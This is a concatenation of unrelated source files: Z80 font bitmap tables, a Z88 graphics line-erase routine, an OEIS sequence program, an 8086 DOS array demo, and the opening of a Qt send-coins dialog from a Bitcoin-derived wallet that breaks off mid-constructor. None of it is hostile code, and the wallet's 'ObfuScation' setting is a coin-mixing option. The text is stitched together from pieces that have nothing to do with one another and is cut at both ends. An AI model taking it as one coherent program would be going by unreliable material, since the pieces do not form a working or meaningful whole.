#05,#80,#40,#40,#20,#20,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#20,#20,#20,#20,#20,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#20,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#00,#00,#00,#f8,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#30,#10,#70,#78,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#c0,#40,#70,#48,#48,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#40,#40,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#18,#08,#38,#48,#48,#38,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#70,#40,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#20,#70,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#38,#48,#48,#38,#08,#30,#00,#00,#00,#00,#00,#00,#00 db #05,#c0,#40,#70,#48,#48,#e8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#00,#60,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#00,#70,#10,#10,#10,#10,#70,#00,#00,#00,#00,#00,#00,#00 db #06,#c0,#40,#58,#70,#50,#d8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#20,#20,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#68,#54,#54,#54,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#f0,#48,#48,#c8,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#30,#48,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#f0,#48,#48,#70,#40,#e0,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#38,#48,#48,#38,#08,#18,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#78,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#30,#20,#10,#60,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#40,#f0,#40,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#d8,#48,#48,#38,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#c8,#48,#30,#30,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#d8,#a8,#a8,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#48,#30,#30,#48,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#d8,#50,#50,#20,#20,#60,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#78,#50,#28,#78,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#10,#20,#20,#60,#20,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#20,#20,#20,#20,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#40,#20,#20,#30,#20,#20,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#28,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#90,#90,#90,#90,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#38,#40,#f8,#40,#40,#38,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f0,#90,#90,#90,#90,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00 ;eden11 fnt_eden11 db #0c,#20 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#00,#40,#40,#40,#40,#40,#40,#40,#00,#40,#00,#00,#00,#00,#00 db #04,#00,#50,#50,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#30,#30,#78,#30,#78,#30,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#10,#78,#40,#78,#78,#10,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#74,#78,#08,#08,#10,#10,#10,#2e,#2e,#00,#00,#00,#00,#00 db #06,#00,#30,#30,#30,#30,#78,#50,#50,#50,#7c,#00,#00,#00,#00,#00 db #02,#00,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00 db #02,#80,#40,#40,#40,#40,#40,#40,#40,#40,#40,#80,#00,#00,#00,#00 db #05,#00,#00,#00,#20,#70,#f8,#70,#20,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#10,#10,#7c,#10,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#40,#40,#40,#40,#00,#00,#00 db #04,#00,#00,#00,#00,#00,#00,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#00,#00,#00,#20,#20,#00,#00,#00,#00,#00 db #04,#00,#10,#30,#20,#20,#40,#40,#40,#80,#80,#00,#00,#00,#00,#00 db #06,#00,#78,#48,#48,#48,#48,#48,#48,#48,#78,#00,#00,#00,#00,#00 db #03,#00,#20,#20,#20,#20,#20,#20,#20,#20,#20,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#08,#08,#78,#40,#40,#40,#78,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#08,#08,#78,#08,#08,#08,#78,#00,#00,#00,#00,#00 db #06,#00,#40,#48,#48,#48,#78,#08,#08,#08,#08,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#40,#40,#78,#08,#08,#08,#78,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#40,#40,#78,#48,#48,#48,#78,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#08,#08,#08,#10,#10,#10,#10,#00,#00,#00,#00,#00 db #06,#00,#78,#48,#48,#48,#78,#48,#48,#48,#78,#00,#00,#00,#00,#00 db #06,#00,#78,#48,#48,#48,#78,#08,#08,#08,#78,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#40,#40,#00,#40,#40,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#00,#40,#40,#00,#40,#40,#40,#40,#00,#00,#00 db #04,#00,#00,#00,#00,#20,#40,#80,#40,#20,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#00,#00,#00,#e0,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#80,#40,#20,#40,#80,#00,#00,#00,#00,#00,#00 db #05,#00,#70,#10,#10,#10,#30,#20,#00,#00,#20,#00,#00,#00,#00,#00 db #07,#00,#fc,#84,#84,#b4,#b4,#bc,#80,#80,#fc,#00,#00,#00,#00,#00 db #06,#00,#30,#48,#48,#48,#48,#78,#48,#48,#48,#00,#00,#00,#00,#00 db #06,#00,#f0,#58,#48,#48,#78,#44,#44,#44,#78,#00,#00,#00,#00,#00 db #05,#00,#38,#40,#80,#80,#80,#80,#80,#40,#38,#00,#00,#00,#00,#00 db #06,#00,#f0,#58,#4c,#44,#44,#44,#44,#48,#70,#00,#00,#00,#00,#00 db #05,#00,#f0,#40,#40,#40,#70,#40,#40,#40,#70,#00,#00,#00,#00,#00 db #05,#00,#f0,#40,#40,#40,#70,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #06,#00,#38,#40,#80,#80,#80,#98,#88,#48,#38,#00,#00,#00,#00,#00 db #06,#00,#48,#48,#48,#48,#78,#48,#48,#48,#48,#00,#00,#00,#00,#00 db #02,#00,#40,#40,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #06,#00,#08,#08,#08,#08,#08,#08,#48,#48,#30,#00,#00,#00,#00,#00 db #05,#00,#48,#50,#50,#60,#60,#70,#50,#58,#48,#00,#00,#00,#00,#00 db #04,#00,#40,#40,#40,#40,#40,#40,#40,#40,#70,#00,#00,#00,#00,#00 db #08,#00,#ff,#49,#49,#49,#49,#49,#49,#49,#49,#00,#00,#00,#00,#00 db #06,#00,#48,#48,#68,#68,#68,#58,#58,#48,#48,#00,#00,#00,#00,#00 db #08,#00,#3c,#66,#c3,#81,#81,#81,#81,#42,#3c,#00,#00,#00,#00,#00 db #06,#00,#f0,#48,#48,#48,#70,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #08,#00,#3c,#66,#c3,#81,#81,#81,#81,#4e,#3e,#00,#00,#00,#00,#00 db #05,#00,#f0,#48,#48,#48,#78,#48,#48,#48,#48,#00,#00,#00,#00,#00 db #06,#00,#78,#40,#40,#40,#78,#08,#08,#08,#78,#00,#00,#00,#00,#00 db #05,#00,#f8,#20,#20,#20,#20,#20,#20,#20,#20,#00,#00,#00,#00,#00 db #06,#00,#48,#48,#48,#48,#48,#48,#48,#48,#30,#00,#00,#00,#00,#00 db #06,#00,#84,#88,#48,#48,#48,#30,#30,#30,#20,#00,#00,#00,#00,#00 db #08,#00,#01,#01,#01,#01,#01,#01,#01,#01,#02,#00,#00,#00,#00,#00 db #06,#00,#88,#58,#50,#30,#20,#30,#50,#58,#88,#00,#00,#00,#00,#00 db #06,#00,#c8,#48,#48,#48,#78,#20,#20,#20,#20,#00,#00,#00,#00,#00 db #06,#00,#78,#08,#08,#10,#10,#20,#20,#40,#78,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #04,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#78,#08,#78,#48,#48,#7c,#00,#00,#00,#00,#00 db #06,#00,#40,#40,#40,#70,#48,#48,#48,#48,#70,#40,#00,#00,#00,#00 db #04,#00,#00,#00,#00,#70,#c0,#80,#80,#c0,#70,#00,#00,#00,#00,#00 db #06,#00,#10,#10,#10,#70,#90,#90,#90,#90,#78,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#78,#48,#78,#40,#40,#78,#00,#00,#00,#00,#00 db #03,#00,#20,#40,#40,#e0,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#f8,#90,#90,#f0,#40,#f0,#10,#f0,#00,#00,#00 db #06,#00,#40,#40,#40,#78,#48,#48,#48,#48,#48,#00,#00,#00,#00,#00 db #02,#00,#40,#00,#00,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #03,#00,#20,#00,#00,#20,#20,#20,#20,#20,#20,#20,#c0,#00,#00,#00 db #05,#00,#40,#40,#40,#48,#50,#60,#70,#50,#48,#00,#00,#00,#00,#00 db #02,#00,#40,#40,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#40,#7f,#49,#49,#49,#49,#49,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#40,#78,#48,#48,#48,#48,#48,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#78,#cc,#84,#84,#cc,#78,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#f0,#48,#48,#48,#48,#70,#40,#40,#00,#00,#00 db #05,#00,#00,#00,#10,#70,#90,#90,#90,#90,#70,#10,#10,#00,#00,#00 db #04,#00,#00,#00,#00,#70,#40,#40,#40,#40,#40,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#78,#40,#78,#08,#08,#78,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#e0,#40,#40,#40,#40,#60,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#48,#48,#48,#48,#48,#7c,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#90,#90,#50,#60,#60,#20,#00,#00,#00,#00,#00 db #08,#00,#00,#00,#00,#01,#01,#01,#01,#01,#02,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#44,#28,#10,#10,#28,#44,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#48,#48,#48,#48,#48,#78,#08,#38,#00,#00,#00 db #05,#00,#00,#00,#00,#f0,#10,#20,#60,#40,#f0,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #03,#00,#40,#40,#40,#40,#40,#40,#40,#40,#40,#40,#40,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#00,#00,#00,#00,#78,#58,#58,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 db #06,#7c,#44,#44,#44,#44,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00 ;times12 fnt_times12 db #09,#20 db #02,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#40,#40,#40,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#a0,#a0,#a0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#48,#48,#f8,#50,#f8,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#d0,#c0,#60,#50,#d0,#e0,#40,#00,#00,#00,#00,#00,#00,#00 db #08,#44,#a4,#48,#10,#22,#25,#42,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#30,#50,#6c,#48,#b0,#94,#e8,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#80,#80,#80,#80,#80,#40,#40,#00,#00,#00,#00,#00,#00 db #03,#40,#40,#20,#20,#20,#20,#20,#40,#40,#00,#00,#00,#00,#00,#00 db #05,#20,#70,#70,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#20,#20,#f8,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#00,#00,#00,#00,#00,#00,#c0,#40,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#00,#00,#c0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #02,#00,#00,#00,#00,#00,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#20,#20,#40,#40,#40,#80,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#90,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#20,#20,#20,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#10,#10,#20,#50,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#e0,#10,#20,#60,#10,#10,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#60,#60,#a0,#f0,#20,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#40,#60,#10,#10,#10,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#40,#e0,#90,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#90,#20,#20,#20,#40,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#60,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#60,#90,#90,#90,#70,#20,#c0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#40,#00,#00,#00,#40,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#00,#00,#40,#00,#00,#00,#c0,#40,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#10,#60,#80,#60,#10,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#f0,#00,#f0,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#80,#60,#10,#60,#80,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#20,#50,#10,#20,#20,#00,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#01,#02,#03,#04,#05,#05,#06,#02,#01,#00,#00,#00,#00,#00,#00 db #07,#10,#10,#28,#28,#38,#44,#e6,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#f0,#48,#48,#70,#48,#48,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#38,#48,#40,#40,#40,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#f0,#48,#44,#44,#44,#48,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#fc,#44,#50,#70,#50,#44,#fc,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#48,#50,#70,#50,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#34,#4c,#40,#4e,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ee,#44,#44,#7c,#44,#44,#ee,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#e0,#40,#40,#40,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#e0,#40,#40,#40,#40,#40,#80,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ec,#48,#50,#70,#48,#44,#ee,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#e0,#40,#40,#40,#40,#48,#f8,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#e3,#66,#56,#5a,#4a,#4a,#eb,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ce,#44,#64,#54,#4c,#44,#e4,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#44,#44,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#f0,#48,#48,#48,#70,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#38,#44,#44,#44,#44,#44,#38,#18,#04,#00,#00,#00,#00,#00,#00 db #06,#f0,#48,#48,#70,#50,#48,#ec,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#70,#90,#80,#60,#10,#90,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#f8,#a8,#20,#20,#20,#20,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ee,#44,#44,#44,#44,#44,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ee,#44,#44,#28,#28,#28,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#07,#08,#08,#09,#0a,#0b,#0b,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#76,#24,#24,#18,#18,#24,#76,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#ee,#44,#28,#28,#10,#10,#38,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#78,#50,#10,#20,#40,#48,#f8,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#60,#40,#40,#40,#40,#40,#40,#40,#60,#00,#00,#00,#00,#00,#00 db #04,#80,#40,#40,#40,#20,#20,#10,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#c0,#40,#40,#40,#40,#40,#40,#40,#c0,#00,#00,#00,#00,#00,#00 db #04,#60,#90,#90,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#00,#00,#00,#00,#f8,#00,#00,#00,#00,#00,#00 db #02,#80,#40,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#c0,#60,#a0,#a0,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#c0,#40,#70,#48,#48,#48,#30,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#60,#80,#80,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#30,#10,#70,#90,#90,#90,#78,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#40,#a0,#e0,#80,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#30,#40,#e0,#40,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#78,#90,#60,#80,#f0,#88,#70,#00,#00,#00,#00,#00,#00 db #06,#c0,#40,#50,#68,#48,#48,#ec,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#40,#00,#c0,#40,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#20,#00,#60,#20,#20,#20,#20,#20,#c0,#00,#00,#00,#00,#00,#00 db #06,#c0,#40,#48,#70,#50,#50,#e8,#00,#00,#00,#00,#00,#00,#00,#00 db #03,#c0,#40,#40,#40,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#00,#f8,#54,#54,#54,#fe,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#d0,#68,#48,#48,#ec,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#60,#90,#90,#90,#60,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#f0,#48,#48,#48,#70,#40,#e0,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#70,#90,#90,#90,#70,#10,#38,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#f0,#40,#40,#40,#e0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#60,#80,#c0,#20,#c0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#00,#40,#e0,#40,#40,#40,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#d8,#48,#48,#48,#3c,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#f8,#50,#50,#50,#20,#00,#00,#00,#00,#00,#00,#00,#00 db #08,#00,#00,#fb,#4a,#5a,#2c,#24,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#d8,#50,#20,#50,#d8,#00,#00,#00,#00,#00,#00,#00,#00 db #06,#00,#00,#dc,#48,#28,#10,#10,#20,#60,#00,#00,#00,#00,#00,#00 db #04,#00,#00,#f0,#a0,#20,#50,#f0,#00,#00,#00,#00,#00,#00,#00,#00 db #04,#20,#40,#40,#40,#80,#40,#40,#40,#20,#00,#00,#00,#00,#00,#00 db #02,#80,#80,#80,#80,#80,#80,#80,#80,#00,#00,#00,#00,#00,#00,#00 db #04,#40,#20,#20,#20,#10,#20,#20,#20,#40,#00,#00,#00,#00,#00,#00 db #05,#00,#00,#00,#00,#d0,#b0,#00,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#7c,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00,#00,#00,#00 db #05,#78,#80,#f0,#80,#e0,#80,#70,#00,#00,#00,#00,#00,#00,#00,#00 db #07,#00,#7c,#44,#44,#44,#44,#7c,#00,#00,#00,#00,#00,#00,#00,#00
; ; Z88 Graphics Functions ; Written around the Interlogic Standard Library ; ; Wide resolution (int type parameters) and CALLEE conversion by Stefano Bodrato, 2018 ; ; ----- void __CALLEE__ undraw(int x, int y, int x2, int y2) ; ; ; $Id: w_undraw_callee.asm $ ; IF !__CPU_INTEL__ SECTION code_graphics PUBLIC undraw_callee PUBLIC _undraw_callee PUBLIC ASMDISP_UNDRAW_CALLEE EXTERN swapgfxbk EXTERN swapgfxbk1 EXTERN w_line_r EXTERN w_respixel EXTERN __graphics_end .undraw_callee ._undraw_callee pop af pop de ;y2 pop hl ;x2 exx ; w_plotpixel and swapgfxbk must not use the alternate registers, no problem with w_line_r pop de ;y1 pop hl ;x1 push af ; ret addr .asmentry push ix push hl ;x1 push de ;y1 call swapgfxbk call w_respixel exx ex de,hl pop bc ;y1 or a sbc hl,bc ex de,hl pop bc ;x1 or a sbc hl,bc ld ix,w_respixel call w_line_r jp __graphics_end DEFC ASMDISP_UNDRAW_CALLEE = asmentry - undraw_callee ENDIF
; A010843: Incomplete Gamma Function at -3. ; 1,-2,5,-12,33,-78,261,-360,3681,13446,193509,1951452,23948865,309740922,4341155877,65102989248,1041690874689,17708615729550,318755470552389,6056352778233924,121127059051462881,2543668229620367298 add $0,1 mov $3,3 lpb $0 sub $0,1 add $2,$3 mov $1,$2 mul $2,-3 mul $3,$0 lpe div $1,3 mov $0,$1
; 11-demo-2 ; array demo (direct & indir method) .MODEL SMALL .STACK 100 .DATA LIST DB 7,2,4,6 NL DB 10, 13, "$" .CODE MAIN PROC MOV AX, @DATA MOV DS, AX ; DIRECT OFFSET MOV SI, 0 ; SI/DI/BX TO CHOOSE MOV CX, 4 L1: MOV AH, 02H MOV DL, LIST[SI] ADD DL, '0' INT 21H INC SI LOOP L1 ; INDIRECT OFFSET LEA SI, LIST ; SI/DI/BX TO CHOOSE MOV CX, 4 L2: MOV AH, 02H MOV DL, [SI] ADD DL, '0' INT 21H INC SI LOOP L2 MOV AX,4C00H INT 21H MAIN ENDP END MAIN
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The rogaverse developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "sendcoinsdialog.h" #include "ui_sendcoinsdialog.h" #include "addresstablemodel.h" #include "askpassphrasedialog.h" #include "bitcoinunits.h" #include "clientmodel.h" #include "coincontroldialog.h" #include "guiutil.h" #include "optionsmodel.h" #include "sendcoinsentry.h" #include "walletmodel.h" #include "base58.h" #include "coincontrol.h" #include "ui_interface.h" #include "utilmoneystr.h" #include "wallet.h" #include <QMessageBox> #include <QScrollBar> #include <QSettings> #include <QTextDocument> SendCoinsDialog::SendCoinsDialog(QWidget* parent) : QDialog(parent), ui(new Ui::SendCoinsDialog), clientModel(0), model(0), fNewRecipientAllowed(true), fFeeMinimized(true) { ui->setupUi(this); #ifdef Q_OS_MAC // Icons on push buttons are very uncommon on Mac ui->addButton->setIcon(QIcon()); ui->clearButton->setIcon(QIcon()); ui->sendButton->setIcon(QIcon()); #endif GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this); addEntry(); connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry())); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // Coin Control connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked())); connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int))); connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString&)), this, SLOT(coinControlChangeEdited(const QString&))); // UTXO Splitter connect(ui->splitBlockCheckBox, SIGNAL(stateChanged(int)), this, SLOT(splitBlockChecked(int))); connect(ui->splitBlockLineEdit, SIGNAL(textChanged(const QString&)), this, SLOT(splitBlockLineEditChanged(const QString&))); // rogaverse specific QSettings settings; if (!settings.contains("bUseObfuScation")) settings.setValue("bUseObfuScation", false); if (!settings.contains("bUseSwiftTX")) settings.setValue("bUseSwiftTX", false); bool useObfuScation = settings.value("bUseObfuScation").toBool(); bool useSwiftTX = settings.value("bUseSwiftTX").toBool(); if (fLiteMode) { ui->checkUseObfuscation->setChecked(false); ui->checkUseObfuscation->setVisible(false); ui->checkSwiftTX->setVisible(false); CoinControlDialog::coinControl->useObfuScation = false; CoinControlDialog::coinControl->useSwiftTX = false; } else { ui->checkUseObfuscation->setChecked(useObfuScation); ui->checkSwiftTX->setChecked(useSwiftTX); CoinControlDialog::coinControl->useObfuScation = useObfuScation; CoinControlDialog::coinControl->useSwiftTX = useSwiftTX; } connect(ui->checkUseObfuscation, SIGNAL(stateChanged(int)), this, SLOT(updateDisplayUnit())); connect(ui->checkSwiftTX, SIGNAL(stateChanged(int)), this, SLOT(updateSwiftTX())); // Coin Control: clipboard actions QAction* clipboardQuantityAction = new QAction(tr("Copy quantity"), this); QAction* clipboardAmountAction = new QAction(tr("Copy amount"), this); QAction* clipboardFeeAction = new QAction(tr("Copy fee"), this); QAction* clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this); QAction* clipboardBytesAction = new QAction(tr("Copy bytes"), this); QAction* clipboardPriorityAction = new QAction(tr("Copy priority"), this); QAction* clipboardLowOutputAction = new QAction(tr("Copy dust"), this); QAction* clipboardChangeAction = new QAction(tr("Copy change"), this); connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity())); connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount())); connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee())); connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee())); connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes())); connect(clipboardPriorityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardPriority())); connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput())); connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange())); ui->labelCoinControlQuantity->addAction(clipboardQuantityAction); ui->labelCoinControlAmount->addAction(clipboardAmountAction); ui->labelCoinControlFee->addAction(clipboardFeeAction); ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction); ui->labelCoinControlBytes->addAction(clipboardBytesAction); ui->labelCoinControlPriority->addAction(clipboardPriorityAction); 